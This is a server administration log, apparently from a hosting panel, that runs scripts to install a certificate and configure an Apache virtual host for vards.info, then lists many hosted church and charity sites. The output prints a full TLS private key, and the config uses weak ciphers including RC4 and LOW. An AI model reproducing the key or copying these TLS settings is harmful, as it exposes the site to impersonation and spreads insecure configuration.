-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-09-26 06:01:15: 

chmod 755 /tmp/pkp750832; /tmp/pkp750832; rm /tmp/pkp750832

2025-09-26 06:01:15: 


dir=/etc/ssl/certs


2025-09-26 06:01:15: 

PUT: /tmp/pkp908565

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/vards_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-09-26 06:01:15: 

chmod 755 /tmp/pkp908565; /tmp/pkp908565; rm /tmp/pkp908565

2025-09-26 06:01:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/vards_www_info.conf 38

<VirtualHost *:80>
    ServerName	vards.info
    ServerAlias	www.vards.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vards_www
    <Directory /var/www/vards_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vards/www_access.log combined
    ErrorLog	/var/log/apache2/vards/www_error.log
    SetEnv pkp_uid	57
    SetEnv pkp_owner	vards
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	vards.info
    ServerAlias	www.vards.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt
    DocumentRoot	/var/www/vards_www
    <Directory /var/www/vards_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vards/www_secure_access.log combined
    ErrorLog	/var/log/apache2/vards/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-09-26 06:01:15: 

PUT: /tmp/pkp382422

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=vards_www_info.conf
TARGET=/etc/apache2/sites-enabled/vards_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	vards.info
    ServerAlias	www.vards.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vards_www
    <Directory /var/www/vards_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vards/www_access.log combined
    ErrorLog	/var/log/apache2/vards/www_error.log
    SetEnv pkp_uid	57
    SetEnv pkp_owner	vards
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	vards.info
    ServerAlias	www.vards.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt
    DocumentRoot	/var/www/vards_www
    <Directory /var/www/vards_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vards/www_secure_access.log combined
    ErrorLog	/var/log/apache2/vards/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/vards_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/vards_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/vards_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/vards_www_info.conf= 1'
fi


2025-09-26 06:01:15: 

chmod 755 /tmp/pkp382422; /tmp/pkp382422; rm /tmp/pkp382422

2025-09-26 06:01:15: 




2025-09-26 06:01:15: 

PUT: /tmp/pkp692730

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-26 06:01:15: 

chmod 755 /tmp/pkp692730; /tmp/pkp692730; rm /tmp/pkp692730

2025-09-26 06:01:15: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-26 06:01:15: Establishing a connection
2025-09-26 06:01:15: 

PUT: /tmp/pkp303354

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-09-26 06:01:16: 

chmod 755 /tmp/pkp303354; /tmp/pkp303354; rm /tmp/pkp303354

2025-09-26 06:01:16: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:19)
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-26 06:01:16: 

PUT: /tmp/pkp629669

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/vards_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-26 06:01:16: 

chmod 755 /tmp/pkp629669; /tmp/pkp629669; rm /tmp/pkp629669

2025-09-26 06:01:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/vards_www_info.conf	1329

<VirtualHost *:80>
    ServerName	vards.info
    ServerAlias	www.vards.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vards_www
    <Directory /var/www/vards_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vards/www_access.log combined
    ErrorLog	/var/log/apache2/vards/www_error.log
    SetEnv pkp_uid	57
    SetEnv pkp_owner	vards
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	vards.info
    ServerAlias	www.vards.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt
    DocumentRoot	/var/www/vards_www
    <Directory /var/www/vards_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vards/www_secure_access.log combined
    ErrorLog	/var/log/apache2/vards/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-09-26 06:01:16: 

PUT: /tmp/pkp156629

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-26 06:01:16: 

chmod 755 /tmp/pkp156629; /tmp/pkp156629; rm /tmp/pkp156629

2025-09-26 06:01:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt	5356
6d:c6:49:9b:36:03:7a:5b:f9:65:45:7a:46:2d:62:d1

-----BEGIN CERTIFICATE-----
MIIE/zCCA+egAwIBAgISBaTUO9ygmrR6huWd3oluOB4iMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTI2MDUwMjQ0WhcNMjUxMjI1MDUwMjQzWjAVMRMwEQYDVQQD
Ewp2YXJkcy5pbmZvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtRey
Nrz6HgLBnG+roLIuDJQiPm6SJ5bblRJxfUFjdiEPhqwqrb0uyh0XCNXEni+fEorX
7plhP6DPB/aMmlsFOQ/tU+/oRnqCs66lIATQ+HwlMg36tA1/3rkAKHsSpKCMlPfE
uI97C+ERV794vqQZP9Xdv/T5hp2WcQFsTK/YFruwN+5M17MoHY2DCLBxwKdum0/9
0PekK7yPVFIP4mT8p8snPA/4TujLkimZYdCGjQqu3SSs8ZBPZt5Ip99e1PAh6uFm
uLZdobjVyCYGYUAyMQ6GDsQmfrAjPvsAP+e3fYJvJR1RUcDUVW/sOUsdmtk0Iko9
pgiUCmu6dNQGy3C/YQIDAQABo4ICKTCCAiUwDgYDVR0PAQH/BAQDAgWgMB0GA1Ud
JQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1UdDgQW
BBTIWja7YcZYHg/4ln9f0ruUEYx+QTAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jI
soQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMu
aS5sZW5jci5vcmcvMCUGA1UdEQQeMByCCnZhcmRzLmluZm+CDnd3dy52YXJkcy5p
bmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6
Ly9yMTMuYy5sZW5jci5vcmcvMzUuY3JsMIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDv
AHYAzPsPaoVxCWX+lZtTzumyfCLphVwNl422qX5UwP5MDbAAAAGZhJyFsAAABAMA
RzBFAiB8QHiamkS1FqN5oIA0kNl6WCbjAydJX85dx9cN5QqyJgIhAIInSgCrKloy
veUe4KzoHb1GcCkEAN9cXTd+CwpKN58IAHUAEvFONL1TckyEBhnDjz96E/jntWKH
iJxtMAWE6+WGJjoAAAGZhJyFnwAABAMARjBEAiAKxEb+V/uTzVvvl472RxdxkwN+
pNzhYM3bqFb3HcbNrgIgdRq/n/oFWyMWcCRtoMekYA0sgUscZwg4A24TerOfjggw
DQYJKoZIhvcNAQELBQADggEBAJe4VAaZwawnWa8T3YFWPGwwN2sY+KRuDfEQAKgi
Gl0tHI8MEBdUeMs9ZG/BGRR1dgW3anZainEAudd2xZHURSjLinEBrFTpjlo73Xei
gte0K5BjwdAd2sUOFTJjEsAARVejq23Fkh9DxBD3nII0rhfht9MICrwE5gP4l9CQ
qKD+Ov/cEb8FqsRIpdsoWqZHqbwXfNXKqcCTRgC2dQYfiVrF0Is+IRGehZD5iAdV
nfnJOL8vHQu9nCzb5ZYULFzPEcDXlOxh10VF5h4OWNLioi2noBkn3ah9hJq1QNMl
SpOrGxCF+V8eOkacgtDWtZIhbp2q6jEE1kkmpRHvcRlZ2mY=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC1F7I2vPoeAsGc
b6ugsi4MlCI+bpInltuVEnF9QWN2IQ+GrCqtvS7KHRcI1cSeL58SitfumWE/oM8H
9oyaWwU5D+1T7+hGeoKzrqUgBND4fCUyDfq0DX/euQAoexKkoIyU98S4j3sL4RFX
v3i+pBk/1d2/9PmGnZZxAWxMr9gWu7A37kzXsygdjYMIsHHAp26bT/3Q96QrvI9U
Ug/iZPynyyc8D/hO6MuSKZlh0IaNCq7dJKzxkE9m3kin317U8CHq4Wa4tl2huNXI
JgZhQDIxDoYOxCZ+sCM++wA/57d9gm8lHVFRwNRVb+w5Sx2a2TQiSj2mCJQKa7p0
1AbLcL9hAgMBAAECggEBAJ15s7HB98ZtIywEN70P9NdfYb/kqxfeKaiiVypS2Ej7
SuMTiDF5F90OGt/F9KqSQsP/FPMZUeXg0ufb0DzR9eK/JOQe9V+EXXAe6NzFE2th
mX7DhUVZj96ABdEt5PJf4qAQLXNI4flciJZDnJ47WPGX6rNoNiyHkTFHyYOOTlzE
91pbs9bu197RnvbFRZSFSihDPHyKIxzrLuP8kqJU2TxbsGbNVlkCzBCJBrn3UOWY
BzkQSRkxJxQHiRWdk6nd9RV1ZcgBSi1/6wR0HpVm3760ilnWFfxmLNYTKWVX3Brb
/dME+Sk1dcDE9wFbpdJrUCniUrm+oMF34wCVUdPhnqECgYEA2y3VDh4s+UIBcQLS
++sRMSuYnbmo4TR6MaE0m2dMYfVhY3fvO6aSmqO0cpNlkz9Uljs0ccD9OF4KfW90
Ml6s1pUR0OKhiMePeSWa1pUPSCW0oBsTcF28JW8iv09XWT3jVKPSyldjxXD0lBVc
NT95QCFGWskhz9hUNPHWs80QTyUCgYEA04Pj8R4mtxDn1ZOa565QUr1StwM3cMsM
KD+XgBM+NqCaRmsv5+MdM1nm2QuJNGpt2hlLIYQGr7HgiYPWLT7+q4MLFweBt5Qj
vEuVB08Jdc+R9DCeNtBWsYcAkUEy78usUzCTMsLGyXQyNx0Vn581SQzoaQe2l32e
JSfj1/hMCI0CgYAZFSmor/NdoxwfHr+ebMxO4Dpa8oBNJYBGZbhrgGrRWw+GHpeW
L/3fDJT997hMHZdEign6aqeP59Mzf6nAie0lsXGUghsSWCQnLRKHNA/HpekB2Zdj
6JY7gnhrhFzurZJygT0CQvX8Bm029SrUPStXF3fBs/rWml8on/R+Jx2SsQKBgCPK
w72/jmmYEMMRcTsXQjxeESsq/iy2D16YNDjWCMcRskmMRdUFl6Fi6y97RkJ6aBBq
C06mmsMMZKSgjJOnf0zipfPFr2uzQ8DPQW61LzKiZ15dA8jexGzSHYR29fmiC40g
QShr0Vuxr/WnlEsok8nCx2lOhtVnymUbNPEM8UDZAoGBALdSWbLd3ZW/wt9wqn2e
pt//NlNnxvHLTQZOaWJ+yq93ebyP2OzkHAee8/sMrXgHd5gu8A5V8Zapi8eh3Kls
ZFfMZt1hqRvJsFVA/0JtE71n7ucO5Uk51Qh7704xkuAmKoPhYPSR/pwmp0L0Im6/
mhZUQ8+7uZ6/KDGRCFhGjQgC
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
